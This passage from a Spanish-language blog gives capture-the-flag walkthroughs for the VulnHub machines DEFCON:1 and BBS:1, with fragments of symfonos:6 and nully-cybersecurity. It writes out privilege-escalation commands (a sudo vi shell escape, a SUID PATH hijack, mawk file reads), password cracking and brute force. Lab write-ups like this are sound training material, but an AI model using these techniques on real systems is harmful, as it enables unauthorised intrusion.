shell.go</b></span></div><div style="text-align: left;"><span style="font-size: 18px;"><b><br /></b></span></div><span style="font-size: 18px;">[root@symfonos6 ~]# cat proof.txt</span><br /></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">cat proof.txt</span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> Congrats on rooting symfonos:6!<br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> ,_---~~~~~----._ <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> _,,_,*^____ _____``*g*\"*, <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> / __/ /' ^. / \ ^@q f <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> [ @f | @)) | | @)) l 0 _/ <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> \`/ \~____ / __ \_____/ \ <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> | _l__l_ I <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> } [______] I <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> ] | | | | <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> ] ~ ~ | <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> | | <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> | | <br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"> Contact me via Twitter @zayotic to give feedback!</span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">[root@symfonos6 ~]# </span></span></div><p style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="background-color: #f7f8fb; font-size: 18px;"></span></span></p><p style="text-align: left;"><br /></p>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-30415923331475434872022-10-04T07:20:00.001-07:002022-10-04T07:20:20.557-07:00DEFCON: 1 : eligible for recruitment at the NSA. May the best person win....<p> </p><p>https://www.vulnhub.com/entry/defcon-1,490/</p><p>Hay dos caminos para resolver esta máquina. Antes de eso:</p><p>1- Tenemos el puerto 443 abierto. De entrada la máquina nos redirige a https://nsa-server.net/. Mirando el certificado SSL sacamos que hay un subhost <b>nsa-secretserver.net</b> que contiene un wordpress. </p><p>- Observando el wordpress nos da la clave admin de john</p><p>-/…./.\.--/---/.-./-../.--./.-././…/…\.--./.-/…/…/.--/---/.-./-..\---/..-.\.---/---/…./-.\../…\…/-/.----/.-../.-../…--/.-/…/-.--/-.-.--/-.-.--/-.-.--</p><p>- entramos en admin, vamos a wpterm y abrimos un shell reverse. Entramos como <b>graham</b>.</p><p><br /></p><p>A partir de aquí se abren los dos caminos. Si resolvemos los puzzles de la página inicial obtenemos la clave de smith y la de graham. </p><p>puzzle1: <b>96l cy berru gthre atyba phi shin ghtihac kermska litnema lware gafodro wssaper ans omwareht sisvi rusiht</b></p><p>Lo resolvemos a mano</p><p>a- rearmamos las palabras al haber detectado algunas con sentido:</p><p><b>96l </b>cyber <b>rug </b>threat <b>yba </b>phishing <b>hti </b>hacker <b>mskalitne </b>malware <b>gafodrowssape </b>ransomware <b>htsis </b>virus <b>iht</b></p><p>b- y observamos que el resto hay que leerlas del revés:</p><p><i><b>96l </b><b>rug </b><b>yba </b><b>hti </b><b>mskalitne </b><b>gafodrowssape </b><b>htsis </b><b>iht</b></i></p><p><b>Nos da la password de smith y esta es la clave porque es el usuario que nos lleva a root explotando la vulnerabilidad LXC</b></p><p>puzzle2: TTSFM34YHHWGGSRSIEOR0SEMSPRA0YV4IADHDO3RSSOANUR7</p><p>Se trata de Transposition Cipher. dcode.fr no lo devuelve bien con todo, pero observamos una solución que parece muy aproximada</p><p>THISIS THAPES SWDROO FGHARA MGD00N 3SOYSU 4R3VER YSR4M7</p><p>Reagrupando en grupos de 6 letras observamos que solo hay que transponer últimamente cada 3ª y 5ª letra de los grupos</p><p>THIS IS THE PASSWORD OF GRAHAM G00DN3SSYOU4REV3RYSM4R7</p><p>El segundo camino es más largo al no tener la clave de smith a priori. </p><p>- una vez dentro con graham miramos un mbox</p><p><br /></p><p><i><b>From: john@nsa-server</b></i></p><p><i><b>Date: Mon, 10 Jun 2019 11:35:48 +0200</b></i></p><p><br /></p><p><i><b>Hi Graham,</b></i></p><p><i><b>Sorry man to bother you, but I forgot my password.</b></i></p><p><i><b>I don't want to go to Smith because he will rip me a new hole.</b></i></p><p><i><b>Can you please help me?</b></i></p><p><i><b>Thanks man!!!</b></i></p><p><i><b>John</b></i></p><p>- miramos el .viminfo y sacamos que graham ha editado</p><p>~/.local/share/Trash/files/note.txt</p><p>que contiene</p><p><i><b>Hi John,</b></i></p><p><i><b>After your latest password failure I changed it. You know where it is right? Wink Wink!</b></i></p><p><i><b>Pretty easy right? Try not to forget this one also.</b></i></p><p><i><b>You know how the boss is like! You wanna get fired or something?</b></i></p><p><i><b><br /></b></i></p><p><i><b>Also smart idea to sent this message with netcat right?</b></i></p><p><i><b>I don't trust our mailsystem.</b></i></p><p><i><b>After sending this message, I'll trow it away....no one will know.</b></i></p><p><i><b>hahahaha......now who is a cybernoob!!!!</b></i></p><p><i><b>Best,</b></i></p><p><i><b>Graham</b></i></p><p><i><b>P.S. You Do kNow whEre The paSswoRd Is hiDden rigHt?</b></i></p><p>La pass de john son las letras capitales</p><p>- su john --> En Documents hay un <b>secret.png</b>, lo descargamos y no se abre correctamente. Miramos en hex y arreglamos el header (PNG..). Nos da una password. Tenemos los siguientes users en home:</p><p><i>george graham john nicky samantha smith</i></p><p>Probamos uno a uno george, nicky, samantha y smith. Resulta ser george.</p><p>- su <b>george </b>--> </p><p>User george may run the following commands on nsa-server:</p><p> (samantha) /usr/bin/vi</p><div><b>sudo -u samantha vi -c '!/bin/bash'</b></div><div><b><br /></b></div><div>- en el home de samantha hay un check con suid root. Miramos con strings y ejecuta directamente ss. Aplicamos exploit PATH:</div><div><b><br /></b></div><div><b>creamos un ss conteniendo bash, añadimos el path local y ejecutamos el check</b></div><div><b><br /></b></div><div><div><b>samantha@nsa-server:~$ cat ss </b></div><div><b>cat ss</b></div><div><b>bash -i</b></div><div><b><br /></b></div><div><b>nos lleva a nicky</b></div><div><b><br /></b></div><div><b>- en Documents/.passwd tenemos la pass de nicky. Con ella entramos en mysql. Sacamos la pass de smith</b></div><div><b><br /></b></div><div><b>BE84A0E22A8E3E1EAA0883956B3F8692DFE4CA13</b></div><div><b><br /></b></div><div><b>hashcat -a0 -m300 BE84A0E22A8E3E1EAA0883956B3F8692DFE4CA13 rockyou2021.txt -d3,4</b></div></div><div><b><br /></b></div><div><b>(11 minutos, tenemos que usar necesariamente ese diccionario a no ser que hayamos descifrado el puzzle 1...)</b></div><div><b><br /></b></div><div><div><b>/mnt/root/root # cat root.txt</b></div><div><b>cat root.txt</b></div><div><b><br /></b></div><div><b><br /></b></div><div><b>░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░░░░░░░░▓████████████████████████▒░░░░░░░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░░░░░▓█████▓▒░░░░░░░░░░░░░░░▒██████▒░░░░░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░░░████▒░░░░░░░░░░░░░░░░░░░░░░░░░▓███▒░░░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░░███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░███░░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░▒██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒██░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░▒██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░░██░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░██░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░██░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░██░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░██▒░██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▓░▒██░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░██░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░██▒░██░░░░░▒▒▓███▒░░░░░░░▒███▓▒▒░░░░░██░▓██░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░██░██░░██████████▒░░░░░▓██████████░░██▒██░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░████░████████████░░░░░████████████░████░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░░███░▒██████████░░░░░░░██████████▒░██▒░░░░░░░░░▒░░░░░</b></div><div><b>░░░▒████░░░░░░░▓█▒░░█████████░░░░░░░░░█████████░░▒█▓░░░░░░▓████░░░░</b></div><div><b>░░░██░▒██▒░░░░░██░░░░██████▓░░░░█░█░░░░███████░░░░██░░░░░███░░██░░░</b></div><div><b>░░░██░░░██▓░░░░██░░░░░░▒▓▓░░░░▒██░██░░░░░▓▓▒░░░░░▒██░░░░███░░░██░░░</b></div><div><b>░▓██▒░░░░████▓░░██░░░░░░░░░░░░███░███░░░░░░░░░░░░██░░█████░░░░▓██▒░</b></div><div><b>██▓░░░░░░░░▒████████▓░░░░░░░░████░███▓░░░░░░░▒▓████████░░░░░░░░░███</b></div><div><b>██▓▒▓███▓░░░░░░▓████████▓░░░░████░███▓░░░░▓████████▓░░░░░░████▓▓███</b></div><div><b>░███████████▒░░░░░░███████░░░░██░░░██░░░░██████▓░░░░░░▓███████████░</b></div><div><b>░░░░░░░░░░▓█████░░░░██▓▓░██░░░░░░░░░░░░░██░█▒██░░░▒█████▓░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░▒█████▒▒█▓█░███▓▓▒▒▒▓▒▒▓▓▓███▒███░▓█████░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░░░░▒████▒▓█▒▒█░█▒█░█░█▓█▒█▓░█░█████▒░░░░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░░░░░░░██░░██▓█▓█▓█▒█▒█▓█▓████░▓█▓░░░░░░░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░░░░▓████▓░▓█▓█░█▒█░█░█▒█▒███▒░██████░░░░░░░░░░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░▓█████░░██░░░▒█████▓█▓█████▒░░░██░▒█████▓░░░░░░░░░░░░░</b></div><div><b>░░░░▒██████████▓░░░░░███░░░░░░░░░░░░░░░░░░░██▒░░░░░▓██████████▒░░░░</b></div><div><b>░░░░██░░░▓▓▓░░░░░░▒██████▓░░░░░░░░░░░░░░░███████▒░░░░░░▓▓▒░░▒██░░░░</b></div><div><b>░░░░▓██░░░░░░░░▓████▓░░░█████▒░░░░░░▒▓█████░░░▓████▓░░░░░░░▒██▓░░░░</b></div><div><b>░░░░░░███░░░░████▒░░░░░░░░▓█████████████▒░░░░░░░░▒████░░░░███░░░░░░</b></div><div><b>░░░░░░░██░░░██▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓██░░░██░░░░░░░</b></div><div><b>░░░░░░░██▒▓██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒██▒▓██░░░░░░░</b></div><div><b>░░░░░░░░████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░░░░░</b></div><div><b>░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░</b></div><div><b><br /></b></div><div><b>CONGRATULATIONS!!!!</b></div><div><b><br /></b></div><div><b>YOU JUST PWND THIS MACHINE</b></div></div><p><span style="background-color: #214577; color: white;"><br /></span></p><div><span style="background-color: #214577; color: white;"><br /></span></div><div><span style="background-color: #214577; color: white;"><br /></span></div><p><br /></p>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-82415546861523375962022-10-02T04:58:00.003-07:002022-10-02T05:00:09.595-07:00BBS:1 fuzz, dosbox, turbopascal<p> </p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">Machine name: BBS (Bulletin Board System)</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">Level: High</p><p>https://www.vulnhub.com/entry/bbs-1,494/</p><p><span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333; font-size: 18px;">Machine hint: <b>FUZZ</b>!!!</span></p><p><span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333; font-size: 18px;"><br /></span></p><p><span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333; font-size: 18px;">Aunque indica <i><b>level high</b></i> todo depende y es como dice </span><span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333; font-size: 18px;"><i>a dip in the present and in the past, it requires a transversal competence from today to the mid 80-90s. Skills: developing, networking, GSM Messaging, Linux, X11, some MS-DOS commands</i></span></p><p><br /></p><p><span face="open sans, sans-serif" style="color: #333333;"><span style="background-color: #f7f8fb; font-size: 18px;">Este es el primer write-up de esta máquina en internet</span></span></p><p><span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333; font-size: 18px;"><i><br /></i></span></p><p>1. Siguiendo el aviso se trata de fuzzear todo lo posible (hasta que consigamos algo con valor). Uso ffuf. Encontramos <b>seite-3-gross</b> y hay que fuzzear recursivamente mientras vayan saliendo files o directorios. En este caso tenemos un robots.txt que nos regala diversos folders donde ir buscando:</p><p><b>Disallow /show_tab/show_basket/mist/replicate/msxchat/glpi/</b></p><p>El glpi es un rabbit hole. Mirando folder por folder llegamos a </p><p><b>/seite-3-gross/show_tab/show_basket/mist/replicate/msxchat/robboard/store_backup/viagra2/rest_images</b></p><p>y dentro <b>zusammenarbeit.txt</b></p><p><b><i>I don't believe that you could find me, however, the zipped filename is dd0298c24ef96adc03cbabcbc6147868579bbfa9364172d3985a6129897faf23a503fb8d40b9216e7f6a344753f45dbbf4b98cefa1e13b649a577202e3a7545e.zip but I don't remember in which directory I stored.</i></b></p><p><b><i>Please search and use it carefully.</i></b></p><p>2. Buscamos el zip y está en <b>/seite-3-gross/show_tab/show_basket/mist, </b>usamos john y lo abrimos. Hay una nota.txt</p><p><b><i>You are always so cryptic, remember that source TPU is the old project you used to encode this message, decode it to remember your password:</i></b></p><p><b><i>AT+CMGS=153</i></b></p><p></p><p><b><i>07919333333333F301001391266663665545446666F600009BC834C8FCC6B340E43419947FD741F272BBDC1697E53F10343C9FDFDF7232283D078DDF6DF87B5E2683C479D09B4D06ADCB79F13B2C2783EE693AFA5DA783A8391628EC2683D273101D5D0649CBE3343C5D76D341EE7A5B5C9683DE66101D9D9E83A6CDA942016597C3F33288FC769FE820F35B7E2ED341693A287C0EA7DDA15048A118A2CB65F91C</i></b></p><p>Decodificamos el pdu:</p><table class="table" style="background-color: white; border-collapse: collapse; border-spacing: 0px; color: #333333; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; margin-bottom: 20px; max-width: 100%; width: 1140px;"><tbody style="box-sizing: border-box;"><tr style="box-sizing: border-box;"><th style="border-top: 1px solid rgb(221, 221, 221); box-sizing: border-box; line-height: 1.42857; padding: 8px; text-align: left; vertical-align: top;"><i>Number</i></th><td style="border-top: 1px solid rgb(221, 221, 221); box-sizing: border-box; line-height: 1.42857; padding: 8px; vertical-align: top;"><b><i>+6266366655544466666</i></b></td></tr><tr style="box-sizing: border-box;"><th style="border-top: 1px solid rgb(221, 221, 221); box-sizing: border-box; line-height: 1.42857; padding: 8px; text-align: left; vertical-align: top;"><i>Text</i></th><td style="border-top: 1px solid rgb(221, 221, 221); box-sizing: border-box; line-height: 1.42857; padding: 8px; vertical-align: top;"><b><i>Hi fox, did you remember? Password is composed by old keyboard without T9, and is the Recipient number of this SMS Please don't forget it again!!! Cheers<br /><br /><br /></i></b></td></tr></tbody></table>Tenemos la clave de fox para entrar en el sistema. Usando https://www.dcode.fr/multitap-abc-cipher salen algunas posibilidades y hay que ir probando, al final damos con la correcta. <div><br /></div><div>3. El problema es que no tenemos acceso ssh ni via web reverse shell. La clave está en los puertos:</div><div><br /></div><div>177/udp open xdmcp XDMCP</div><div><br /></div><div>Significa que podemos acceder via xorg</div><div><br /></div><div><b>Xephyr -from nuestra.ip -query ip.victima -screen 800x600 :1</b></div><div><b><br /></b></div><div><b>Con eso accedemos a la pantalla de login de la máquina víctima. Usamos las credenciales de fox y entramos. Dado que es un shell limitado, podemos iniciar un reverse con nc</b></div><div><b><br /></b></div><div>4. Tenemos un mbox (mail) de mara</div><div><br /></div><div><div><i><b>From mara@bbs.htb Sun Apr 12 20:37:06 2020</b></i></div><div><i><b>Return-path: <mara@bbs.htb></b></i></div><div><i><b>Envelope-to: fox@bbs.htb</b></i></div><div><i><b>Delivery-date: Sun, 12 Apr 2020 20:37:06 +0200</b></i></div><div><i><b>Received: from mara by bbs.htb with local (Exim 4.92)</b></i></div><div><i><b> (envelope-from <mara@bbs.htb>)</b></i></div><div><i><b> id 1jNhTe-00062e-I0</b></i></div><div><i><b> for fox@bbs.htb; Sun, 12 Apr 2020 20:37:06 +0200</b></i></div><div><i><b>To: <fox@bbs.htb></b></i></div><div><i><b>Subject: I love you</b></i></div><div><i><b>X-Mailer: mail (GNU Mailutils 3.5)</b></i></div><div><i><b>Message-Id: <E1jNhTe-00062e-I0@bbs.htb></b></i></div><div><i><b>From: mara@bbs.htb</b></i></div><div><i><b>Date: Sun, 12 Apr 2020 20:37:06 +0200</b></i></div><div><i><b><br /></b></i></div><div><i><b><br /></b></i></div><div><i><b>My love, I'll try to communicate with you, but you are always so cryptic... I want to surprise you</b></i></div><div><i><b><br /></b></i></div><div><i><b>your lovely wife, mara</b></i></div></div><div><br /></div><div>Se trata de mirar en el directorio de mara pero no tenemos los permisos. Mirando suids tenemos <b>mawk con el que podemos leer archivos protegidos.</b></div><div><b><br /></b></div><div><div><b>-rwsr-sr-x 1 mara paolo 120K Mar 23 2012 /usr/bin/mawk</b></div><div style="font-weight: bold;"><br /></div></div><div>En el folder de mara no podemos entrar pero sí en el de paolo, donde tenemos otro mbox que leemos con mawk</div><div><pre style="background: rgb(255, 244, 244); overflow-x: auto; padding: 1em;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 0px; color: #bf0707; padding: 0px;">LFILE=file_to_read
mawk '//' "$LFILE"</code></pre></div><div><div><i><b>From mara@gsm.htb Sun Apr 12 20:26:02 2020</b></i></div><div><i><b>Return-path: <mara@gsm.htb></b></i></div><div><i><b>Envelope-to: paolo@localhost</b></i></div><div><i><b>Delivery-date: Sun, 12 Apr 2020 20:26:02 +0200</b></i></div><div><i><b>Received: from mara by gsm.htb with local (Exim 4.92)</b></i></div><div><i><b> (envelope-from <mara@gsm.htb>)</b></i></div><div><i><b> id 1jNhIw-00060l-Jc; Sun, 12 Apr 2020 20:26:02 +0200</b></i></div><div><i><b>To: <paolo@localhost></b></i></div><div><i><b>Cc: <paolo@gsm.htb></b></i></div><div><i><b>Subject: ciao</b></i></div><div><i><b>X-Mailer: mail (GNU Mailutils 3.5)</b></i></div><div><i><b>Message-Id: <E1jNhIw-00060l-Jc@gsm.htb></b></i></div><div><i><b>From: mara@gsm.htb</b></i></div><div><i><b>Date: Sun, 12 Apr 2020 20:26:02 +0200</b></i></div><div><i><b>X-IMAPbase: 1586715985 3</b></i></div><div><i><b>Status: O</b></i></div><div><i><b>X-UID: 1</b></i></div><div><i><b><br /></b></i></div><div><i><b>I got the access on your account by ssh-copy-id using password "bomboloneconlacremasiciliana", thank you, now you can change your password</b></i></div><div><i><b><br /></b></i></div><div><i><b> mara</b></i></div></div><div><i><b><br /></b></i></div><div>Aquí el bombolone :)</div><div><i><b><br /></b></i></div><div><i><div class="separator" style="clear: both; text-align: center;"><a href="https://blog.giallozafferano.it/lacucinadirosalba/wp-content/uploads/2017/02/DSC4646_00011-720x478.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="478" data-original-width="720" height="376" src="https://blog.giallozafferano.it/lacucinadirosalba/wp-content/uploads/2017/02/DSC4646_00011-720x478.jpg" width="567" /></a></div><br /><b><br /></b></i></div><div><br /></div><div>5. entramos en paolo y hay un directorio dosprogs con una nota USER.txt</div><div><br /></div><div><div><i><b>great, user flag is not here, but I give you a nudge:</b></i></div><div><i><b><br /></b></i></div><div><i><b>remember Paolo, don't inspect these file by hand... run DOSBOX, but only after you allowed the X11 forwarding </b></i></div><div><i><b><br /></b></i></div><div><i><b> *fox</b></i></div></div><div><br /></div><div>Pero <b>dosbox </b>no funciona en paolo aunque sí en fox. Damos permisos a dosprogs para ejecutar dosbox desde paolo, y montamos luego C: como /home/paolo/dosprogs</div><div><br /></div><div>Tenemos un BBS donde vemos algunos mensajes relevantes y un archivo PASSES.ARJ encriptado. Parece que el acceso a root pasa por desencriptar el arj. Tenemos algunos hints:</div><div><br /></div><div><div><b><i>Ok I want to give a little hint: search my (SysOp) phone, and try to encode for me an SMS, with the right text, and ask me how to find the way.</i></b></div><div><b><i><br /></i></b></div><div><b><i>Next came back, and you'll have what you'r_e looking for.</i></b></div></div><div><br /></div><div>Es lo que hace la página de inicio index. Buscamos el SysOp phone que es <b>00393773060850 y vamos probando mensajes hasta caer en la cuenta que es:</b></div><div><b><br /></b></div><div><b><i>how to find the way</i></b></div><div><b><i><br /></i></b></div><div>(nos lo estaban diciendo, podemos usar la página index de inicio en el navegador para sacar el pdu)</div><div><br /></div><div>6. Usamos arj:</div><div><br /></div><div>arj e -gpdu PASSES.ARJ </div><div><br /></div><div>y sacamos CIPHERED.TXT, DECODE.PAS y PASSWORD_encoded.TXT. Del último</div><div><br /></div><div><div><i><b>ok you reached me, in c:\TP you can find Turbo Pascal, use this source attached to decode the ciphered file.</b></i></div><div><i><b><br /></b></i></div><div><i><b>The password to decode ciphered file is: do you really think that I can give you the pass?</b></i></div><div><br /></div><div><i><b>cheers</b></i></div><div><i><b><br /></b></i></div><div><i><b> *fox</b></i></div></div><div><br /></div><div>compilamos el pas (podemos hacerlo en nuestra máquina con fpc) y con el decode.exe sacamos la clave de root.</div><div><br /><div><div><b>root@bbs:~# cat root.txt</b></div><div><b>5f423b7772a80f77438407c8b78ff305</b></div><div><b>root@bbs:~#</b> </div></div><div><br /></div><div><br /></div></div>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-25875183235515773342022-09-12T12:43:00.001-07:002022-09-12T12:43:39.492-07:00nully-cybersecurity port forwarding<p> https://www.vulnhub.com/entry/nully-cybersecurity-1,549/</p><p><br /></p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">Nully Cybersecurity - this is an easy-intermediate realistic machine.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">While working with the machine, you will need to brute force, pivoting (using metasploit, via portfwd), exploitation web app, and using searchsploit.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">About: Wait 5-8 minutes before starting for the machine to start its services. Also, check the welcome page on port 80.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">Hints: 'cat rockyou.txt | grep bobby > wordlist' for generating wordlist.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">Story: You are a Professional White Hat. Small company Nully Cybersecurity hired you to conduct a security test of their internal corporate systems.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;"><br /></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">0- con <b>hydra </b>bruteforceamos ssh bob con el hint del wordlist</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">entramos</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">la ip interna es 172.17.0.3. Sabemos que hay que rootear 3 servidores (mail,web,data) y estamos en mail</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">hacemos nmap 172.17.0.0/24 para ver la red interna</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">PORT STATE SERVICE</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">80/tcp open http</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">110/tcp open pop3</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">2222/tcp open EtherNetIP-1</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">8000/tcp open http-alt</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">9000/tcp open cslistener</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">MAC Address: 02:42:74:EA:1F:9C (Unknown)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Nmap scan report for 172.17.0.2</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Host is up (0.000024s latency).</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Not shown: 998 closed ports</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">PORT STATE SERVICE</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">22/tcp open ssh</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">80/tcp open http</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">MAC Address: 02:42:AC:11:00:02 (Unknown)</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Nmap scan report for 172.17.0.4</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">Host is up (0.000014s latency).</span></span></p><p style="box-sizing: border-box; margin: 0px 0px 1rem;"><span style="color: #333333; 